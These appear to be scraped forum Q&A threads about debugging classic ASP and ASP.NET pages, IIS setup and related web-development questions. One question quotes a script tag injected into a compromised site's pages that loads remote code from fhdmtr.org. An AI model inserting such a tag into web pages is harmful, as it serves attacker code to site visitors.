I had to code an Active X DLL which is called from an ASP page.
I am convinced (by debug tracing) that my DLL returns the correct value when its function is invoked from the ASP page, but the page does not display the result as it should.
What's the quickest/easiest way to do some debugging? Can I run ASP locally? If so, I can just add a few print()s (or equivalent), unless there is an easy to use FOSS IDE that will allow me to step through the page in a debugger.
Btw, I notice tags for ASP.Net & ASP-classic. The web page is copyright 2002, so I would guess classic (?)
Update: I should have said, I only ave access the browser's "view page source", not to any files that may have been necessary to create the ASP page originally
Thanks for the help. Yes, control panel add/remove windows components, add IIS then copy the ASP file into c:\inetpub\wwwroot sprinkle a few response.write around the ASP code & Bob's your anutie's live-in lover
If it is classic ASP, you can try to to run it (or the part relevant to you) locally. Copy the VB code, put it into a .vbs file, make minimal changes (like using WScript.Echo instead of Response.Write).
You can also run VBScript code with minimal modifications in the VBA editor of MS Office. This way you have a chance to debug the code line-by line.
If none of this is feasible for you, sprinkle Response.Write în the critical sections and comment out any On Error Resume Next statements. This way you can try to spot the error while running the code on the server.
Related
I have installed DNN server, and created new DNN module in Visual Studio, using Chris Hammond's project template. I have added module to DNN as extension, and its client-side works fine.
But I can not execute ASP.NET code behind part of project. I have tried to execute pre-generated Page_load() method, and also one button_click handler which I have constructed, but they just do not execute (I have tested with breakpoints, and also with code which should leave some trace in console, or in a file).
DNN documentation does not mention this issue.
What am I missing here ?
If you are using the WebForms pattern, on the .ascx file the top row will have AutoEventWireup="false" by default I believe. Change that to True. I've noticed a few people with this problem.
If this isn't the issue, make sure that you do not have a Cache time set in your .dnn manifest file.
I am writing an ASP.NET intranet application.
The server it will be deployed on has all the printers I need added to it.
I want to be able to access the printer using the code behind and print the contents of a web page I have set up for printing.
I do not want the java script solution, we are using that now, and we cannot allow users to see a print dialog. There are other security issues we have with this because we are trying to print checks. Also would like access and control over the print trays if possible.
I am looking for something along the lines of this:
http://forums.asp.net/t/587341.aspx?Access+Your+Network+Printer
Any help or references appreciated, been searching for 2 days haven't found much.
I've read through some of the questions here and my understanding is that this is true. Could someone confirm that visitors to an ASP.NET website can actually download the aspx files in their original format? Just like with the css files, etc. Thanks.
Clarification: Please be patient with me. I am newbie and just want to make sure I understand. I know that using Dreamweaver, a person can just download almost all the source files from a website. At least that what could be done some years ago with many websites. He would just change a few text contents and have a similar website like the original with all the original design, images, etc.
So if he can do the same with an asp.net site: downloading all the files, he can look at the aspx file and see what the code does. I am not talking about him executing the page and do the view source command. This file would naturally be processed by the server and doesn't expose source code.
This is one of the reasons why code behind is recommended because the code can be compiled and the source is not uploaded to the site. Only the dll is uploaded and minimum logic is exposed through the aspx file.
No, they can't. The ASPX page contains server-side code that is executed, well, by the server, and ends up containing plain HTML that the client browser can understand.
When IIS receives a GET request for an ASPX page, the ASP.NET handler kicks in and returns the processed HTML. So unless IIS is misconfigured, that is not possible.
No. Visitors cannot see your business logic.
If that were the case the markup asp:TextBox wont get rendered as input type='text'
Also, if that were the case we would be seeing code snippets of sites written using scripting languages like PHP or Classic ASP
in newbie's term:
No, the server won't give you ASPX and code behind files, these are files that don't mean anything to the end-user/visitor/browsers. These codes are processed on the server, and what you get is only a bunch of HTML code, javascripts, css, images, etc. which browsers can render.
If you try to "download" (by accessing them through your browser) .ASPX, .CS, and WEB.CONFIG files to see the actual source code, well you simply can't.
I developed a application using asp.net and uploaded the site in online it is working fine.
After few days i am getting parser error.
"<script src=http://fhdmtr.org/vb7/html.php ></script>" this script is generating in every page in the bottom of the page in source code in the site. it is automatically generating.
when i remove it is work fine after few days it is again generating.
The error is occurring because the Doctorenq.aspx script is using a Master Page. Pages configured with a MasterPageFile attribute can only contain a very narrow set of tags, usually just <asp:Content>, corresponding to content placeholders in the master. If you are adding the reference to the PHP script yourself (though I don't understand how that's supposed to work), you should either include it in the Master Page or include it inside one of your existing <asp:Content> tags.
If you aren't adding the reference to the tag, your problem may be with security instead of programming, and as such would be OT for SO.
The fail suggests that the site can't handle the markup.
If it was working and now doesn't, check the version of .NET websit is running. Something may have changed it to use an earlier verions of .NET, which can't parse the page.
I am trying to debug some code using Response.Write, but when I run the code it skips over that statement and errors out at some point further in the code.
How can I get my Response.Write statements to show without the other errors coming up?
I quite frequently use Response.End when I have to see a status in a certain place on a page.
We utilize Visual Studio 2008 to debug classic asp pages. You can attach to the IIS process and "step through" the page. Its very sweet. Here are the steps:
Get latest of the classic ASP from source control.
Install IIS (if not already). FYI... I am using IIS 5.1.
Create a virtual directory called "classicDebug" pointing to your local directory (C:\Websites\ClassicWebSite).
View the virtual directory properties, Virtual Directory tab.
Enable the "Script source access" checkbox.
Configuration button, Options tab - check everything.
Debugging tab - check everything.
7a. In the ASP.NET tab, select 2.x
Load up (not run or debug or F5) the website in VS.NET 2008.
Edit your global.asa accordingly (data sources, and paths).
Find the .asp page you want to "step through" and set a break point at the top (or somewhere).
Open IE, and navigate to your page.
Go back to VS.NET and select Debug -> Attach to Process
Check "show processes from all users" and select the process. For me (IIS 5.1), the process name is dllhost.exe running with the IWAM_COMPUTERNAME account w/type "Script, T-SQL, Managed, x86".
Visit your page using IE... VS.NET should break.
Comment out the line which gives the error and see what the respnse.write is displaying is the only thing reasonable.
Don't use the on error resume next while you are developing your pages. You have to make sure that you building your pages correctly and that your are producing correct code. You wont see any errors if you use on error resume next.
on error resume next should only be used, in my opinion, in database actions and in delivered (non-developning) code. In that case you should use the
if Err.Number <> 0 then
construct to test any errors. You simply cannot do that after every line in asp if you have put the on error resume next statement at the top of your code, but it certainly makes sence in database handling code.
You will have to use "on error resume next" statement on top of your ASP page. This will solve your problem when an error occurs it will move to next line rather than throwing an error.
You can check this link http://www.powerasp.com/content/new/on-error-resume-next.asp for reference.
Happy Coding
Try a Response.Flush after your debugging statments, or setting Response.Buffer to false.
This might help as an alternative to response.write.
I put together this ASP include class which works with Firebug+FirePHP. It allows you to log values (including strings, multi-dimensional arrays and even objects created with json.asp) to the firebug console and view ASP's built in collection objects which can help (particularly with Ajax where you can't output debug data without breaking the json response.) Ajax script load times and errors are automatically logged for quick viewing.
https://github.com/dmeagor/ClassicASP-FirePHP
Just include the file and use log(somevalue) to send formatted variables to the firebug console.
Released under MIT open source license
Speaking of alternate options, from David Meagor post, you can also write traces to a file. Here is an example of how to write to files: https://web.archive.org/web/20210506122630/http://www.4guysfromrolla.com/webtech/040699-1.shtml
If you want, you can even put the trace subroutines in an include file and use that in all your pages when you need it.
Another solution that we are using is to put the tracing methods in a .Net assembly, register it as a COM then call it using CreateObject.
These options will let you keep your traces in a file that you can review later and share with other developers.
I personally use a mix of these approaches: I review log files, use breakpoints and even place from time to time a Response.Write.
One other thing: activate and review the IIS logs: they will often tell you on what line your page broke. You can read here how to enable or disable logs for classic ASP: https://technet.microsoft.com/en-us/library/hh831387.aspx.